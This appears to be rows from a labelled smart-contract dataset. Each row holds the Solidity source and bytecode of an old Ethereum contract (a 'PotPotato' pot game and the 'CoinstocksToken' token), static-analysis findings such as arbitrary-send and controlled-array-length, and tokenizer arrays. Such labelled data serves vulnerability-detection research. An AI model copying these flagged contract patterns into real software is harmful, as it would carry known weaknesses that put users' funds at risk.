[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,338
0x96978ba07d6476a47a3f69c8ddebae8dcb16edbd
pragma solidity ^0.4.18; // solhint-disable-line contract PotPotato{ address public ceoAddress; address public hotPotatoHolder; address public lastHotPotatoHolder; uint256 public lastBidTime; uint256 public contestStartTime; uint256 public lastPot; Potato[] public potatoes; uint256 public BASE_TIME_TO_COOK=30 minutes;//60 seconds; uint256 public TIME_MULTIPLIER=5 minutes;//5 seconds;//time per index of potato uint256 public TIME_TO_COOK=BASE_TIME_TO_COOK; //this changes uint256 public NUM_POTATOES=12; uint256 public START_PRICE=0.001 ether; uint256 public CONTEST_INTERVAL=1 weeks;//4 minutes;//1 week /*** DATATYPES ***/ struct Potato { address owner; uint256 price; } /*** CONSTRUCTOR ***/ function PotPotato() public{ ceoAddress=msg.sender; hotPotatoHolder=0; contestStartTime=1520799754;//sunday march 11 for(uint i = 0; i<NUM_POTATOES; i++){ Potato memory newpotato=Potato({owner:address(this),price: START_PRICE}); potatoes.push(newpotato); } } /*** PUBLIC FUNCTIONS ***/ function buyPotato(uint256 index) public payable{ require(block.timestamp>contestStartTime); if(_endContestIfNeeded()){ } else{ Potato storage potato=potatoes[index]; require(msg.value >= potato.price); //allow calling transfer() on these addresses without risking re-entrancy attacks require(msg.sender != potato.owner); require(msg.sender != ceoAddress); uint256 sellingPrice=potato.price; uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice); uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 76), 100)); uint256 devFee= uint256(SafeMath.div(SafeMath.mul(sellingPrice, 4), 100)); //20 percent remaining in the contract goes to the pot //if the owner is the contract, this is the first purchase, and payment should go to the pot if(potato.owner!=address(this)){ potato.owner.transfer(payment); } ceoAddress.transfer(devFee); potato.price= SafeMath.div(SafeMath.mul(sellingPrice, 150), 76); potato.owner=msg.sender;//transfer ownership hotPotatoHolder=msg.sender;//becomes holder with potential to win the pot lastBidTime=block.timestamp; TIME_TO_COOK=SafeMath.add(BASE_TIME_TO_COOK,SafeMath.mul(index,TIME_MULTIPLIER)); //pots have times to cook varying from 30-85 minutes msg.sender.transfer(purchaseExcess);//returns excess eth } } function getBalance() public view returns(uint256 value){ return this.balance; } function timePassed() public view returns(uint256 time){ if(lastBidTime==0){ return 0; } return SafeMath.sub(block.timestamp,lastBidTime); } function timeLeftToContestStart() public view returns(uint256 time){ if(block.timestamp>contestStartTime){ return 0; } return SafeMath.sub(contestStartTime,block.timestamp); } function timeLeftToCook() public view returns(uint256 time){ return SafeMath.sub(TIME_TO_COOK,timePassed()); } function contestOver() public view returns(bool){ return timePassed()>=TIME_TO_COOK; } /*** PRIVATE FUNCTIONS ***/ function _endContestIfNeeded() private returns(bool){ if(timePassed()>=TIME_TO_COOK){ //contest over, refund anything paid msg.sender.transfer(msg.value); lastPot=this.balance; lastHotPotatoHolder=hotPotatoHolder; hotPotatoHolder.transfer(this.balance); hotPotatoHolder=0; lastBidTime=0; _resetPotatoes(); _setNewStartTime(); return true; } return false; } function _resetPotatoes() private{ for(uint i = 0; i<NUM_POTATOES; i++){ Potato memory newpotato=Potato({owner:address(this),price: START_PRICE}); potatoes[i]=newpotato; } } function _setNewStartTime() private{ uint256 start=contestStartTime; while(start<block.timestamp){ start=SafeMath.add(start,CONTEST_INTERVAL); } contestStartTime=start; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a0f81681461010c57806312065fe014610161578063244447491461018a5780633609ac8f146101b3578063439198af146101dc578063642ab4b1146102055780637be8630f1461022e57806384cbc92f14610283578063924f6be01461029b57806396603e88146102c457806397ab9e7a14610319578063980e6e0814610342578063987f710a1461036b578063b445425314610394578063bb8c869d146103bd578063c3492908146103ea578063e95a662314610413578063f27ee76c1461047d578063fdd2f2b0146104a6575b600080fd5b341561011757600080fd5b61011f6104cf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561016c57600080fd5b6101746104f4565b6040518082815260200191505060405180910390f35b341561019557600080fd5b61019d610513565b6040518082815260200191505060405180910390f35b34156101be57600080fd5b6101c6610519565b6040518082815260200191505060405180910390f35b34156101e757600080fd5b6101ef61051f565b6040518082815260200191505060405180910390f35b341561021057600080fd5b610218610546565b6040518082815260200191505060405180910390f35b341561023957600080fd5b61024161054c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102996004808035906020019091905050610572565b005b34156102a657600080fd5b6102ae6108f7565b6040518082815260200191505060405180910390f35b34156102cf57600080fd5b6102d76108fd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561032457600080fd5b61032c610923565b6040518082815260200191505060405180910390f35b341561034d57600080fd5b610355610929565b6040518082815260200191505060405180910390f35b341561037657600080fd5b61037e610943565b6040518082815260200191505060405180910390f35b341561039f57600080fd5b6103a7610949565b6040518082815260200191505060405180910390f35b34156103c857600080fd5b6103d0610970565b604051808215151515815260200191505060405180910390f35b34156103f557600080fd5b6103fd610984565b6040518082815260200191505060405180910390f35b341561041e57600080fd5b610434600480803590602001909190505061098a565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b341561048857600080fd5b6104906109dd565b6040518082815260200191505060405180910390f35b34156104b157600080fd5b6104b96109e3565b6040518082815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b600a5481565b600b5481565b60006004544211156105345760009050610543565b610540600454426109e9565b90505b90565b60035481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008060006004544211151561058a57600080fd5b610592610a02565b1561059c576108ef565b6006868154811015156105ab57fe5b90600052602060002090600202019450846001015434101515156105ce57600080fd5b8460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561062d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561068957600080fd5b8460010154935061069a34856109e9565b92506106b16106aa85604c610bbb565b6064610bf6565b91506106c86106c1856004610bbb565b6064610bf6565b90503073ffffffffffffffffffffffffffffffffffffffff168560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610788578460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561078757600080fd5b5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156107e957600080fd5b6107fe6107f7856096610bbb565b604c610bf6565b8560010181905550338560000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426003819055506108a86007546108a388600854610bbb565b610c11565b6009819055503373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f1935050505015156108ee57600080fd5b5b505050505050565b600c5481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b600061093e600954610939610949565b6109e9565b905090565b60095481565b600080600354141561095e576000905061096d565b61096a426003546109e9565b90505b90565b600060095461097d610949565b1015905090565b60075481565b60068181548110151561099957fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b60055481565b60085481565b60008282111515156109f757fe5b818303905092915050565b6000600954610a0f610949565b101515610bb3573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610a5657600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631600581905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610b5057600080fd5b6000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600381905550610ba2610c2f565b610baa610cfa565b60019050610bb8565b600090505b90565b6000806000841415610bd05760009150610bef565b8284029050828482811515610be157fe5b04141515610beb57fe5b8091505b5092915050565b6000808284811515610c0457fe5b0490508091505092915050565b6000808284019050838110151515610c2557fe5b8091505092915050565b6000610c39610d27565b600091505b600a54821015610cf65760408051908101604052803073ffffffffffffffffffffffffffffffffffffffff168152602001600b54815250905080600683815481101515610c8757fe5b906000526020600020906002020160008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101559050508180600101925050610c3e565b5050565b600060045490505b42811015610d1d57610d1681600c54610c11565b9050610d02565b8060048190555050565b6040805190810160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815250905600a165627a7a72305820dcbc6afcbe1a222d944a85c6de6f5a8537bc39267f7973f3c3028fc5ffc10f1f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'controlled-array-length', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 2581, 2620, 3676, 2692, 2581, 2094, 21084, 2581, 2575, 2050, 22610, 2050, 2509, 2546, 2575, 2683, 2278, 2620, 14141, 15878, 6679, 2620, 16409, 2497, 16048, 2098, 2497, 2094, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 14017, 10606, 2102, 1011, 4487, 19150, 1011, 2240, 3206, 8962, 11008, 10610, 1063, 4769, 2270, 5766, 4215, 16200, 4757, 1025, 4769, 2270, 2980, 11008, 10610, 14528, 1025, 4769, 2270, 2197, 12326, 11008, 10610, 14528, 1025, 21318, 3372, 17788, 2575, 2270, 2197, 17062, 7292, 1025, 21318, 3372, 17788, 2575, 2270, 15795, 7559, 6916, 4168, 1025, 21318, 3372, 17788, 2575, 2270, 2197, 11008, 1025, 14557, 1031, 1033, 2270, 14629, 1025, 21318, 3372, 17788, 2575, 2270, 2918, 1035, 2051, 1035, 2000, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,339
0x96995863e238e78c177ddc5a0c462f1c453fe2ab
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract CoinstocksToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function CoinstocksToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012257806306fdde031461014e578063095ea7b3146101dc57806318160ddd1461023657806323b872dd1461025f578063313ce567146102d857806342966c68146103075780634b7503341461034257806370a082311461036b57806379cc6790146103b85780638620410b146104125780638da5cb5b1461043b57806395d89b4114610490578063a6f2ae3a1461051e578063a9059cbb14610528578063b414d4b61461056a578063cae9ca51146105bb578063dd62ed3e14610658578063e4849b32146106c4578063e724529c146106e7578063f2fde38b1461072b575b600080fd5b341561012d57600080fd5b61014c6004808035906020019091908035906020019091905050610764565b005b341561015957600080fd5b6101616107d1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a1578082015181840152602081019050610186565b50505050905090810190601f1680156101ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e757600080fd5b61021c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061086f565b604051808215151515815260200191505060405180910390f35b341561024157600080fd5b6102496108fc565b6040518082815260200191505060405180910390f35b341561026a57600080fd5b6102be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610902565b604051808215151515815260200191505060405180910390f35b34156102e357600080fd5b6102eb610a2f565b604051808260ff1660ff16815260200191505060405180910390f35b341561031257600080fd5b6103286004808035906020019091905050610a42565b604051808215151515815260200191505060405180910390f35b341561034d57600080fd5b610355610b46565b6040518082815260200191505060405180910390f35b341561037657600080fd5b6103a2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b4c565b6040518082815260200191505060405180910390f35b34156103c357600080fd5b6103f8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b64565b604051808215151515815260200191505060405180910390f35b341561041d57600080fd5b610425610d7e565b6040518082815260200191505060405180910390f35b341561044657600080fd5b61044e610d84565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049b57600080fd5b6104a3610da9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e35780820151818401526020810190506104c8565b50505050905090810190601f1680156105105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610526610e47565b005b341561053357600080fd5b610568600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e67565b005b341561057557600080fd5b6105a1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e76565b604051808215151515815260200191505060405180910390f35b34156105c657600080fd5b61063e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610e96565b604051808215151515815260200191505060405180910390f35b341561066357600080fd5b6106ae600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611014565b6040518082815260200191505060405180910390f35b34156106cf57600080fd5b6106e56004808035906020019091905050611039565b005b34156106f257600080fd5b610729600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506110b5565b005b341561073657600080fd5b610762600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111da565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107bf57600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108675780601f1061083c57610100808354040283529160200191610867565b820191906000526020600020905b81548152906001019060200180831161084a57829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561098f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610a24848484611278565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610a9257600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610bb457600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c3f57600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e3f5780601f10610e1457610100808354040283529160200191610e3f565b820191906000526020600020905b815481529060010190602001808311610e2257829003601f168201915b505050505081565b600060085434811515610e5657fe5b049050610e64303383611278565b50565b610e72338383611278565b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b600080849050610ea6858561086f565b1561100b578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610fa0578082015181840152602081019050610f85565b50505050905090810190601f168015610fcd5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610fee57600080fd5b6102c65a03f11515610fff57600080fd5b5050506001915061100c565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60075481023073ffffffffffffffffffffffffffffffffffffffff16311015151561106357600080fd5b61106e333083611278565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f1935050505015156110b257600080fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561111057600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123557600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561129e57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156112ec57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561137a57600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156113d357600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561142c57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a723058203da0677bd7fb27a7d6d6a0714c6181d5077fb015b29ac817cdaeb2e617823b1a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2683, 2683, 27814, 2575, 2509, 2063, 21926, 2620, 2063, 2581, 2620, 2278, 16576, 2581, 14141, 2278, 2629, 2050, 2692, 2278, 21472, 2475, 2546, 2487, 2278, 19961, 2509, 7959, 2475, 7875, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 3206, 3079, 1063, 4769, 2270, 3954, 1025, 3853, 3079, 1006, 1007, 2270, 1063, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 16913, 18095, 2069, 12384, 2121, 1063, 5478, 1006, 5796, 2290, 1012, 4604, 2121, 1027, 1027, 3954, 1007, 1025, 1035, 1025, 1065, 3853, 4651, 12384, 2545, 5605, 1006, 4769, 2047, 12384, 2121, 1007, 2069, 12384, 2121, 2270, 1063, 3954, 1027, 2047, 12384, 2121, 1025, 1065, 1065, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 102 ]
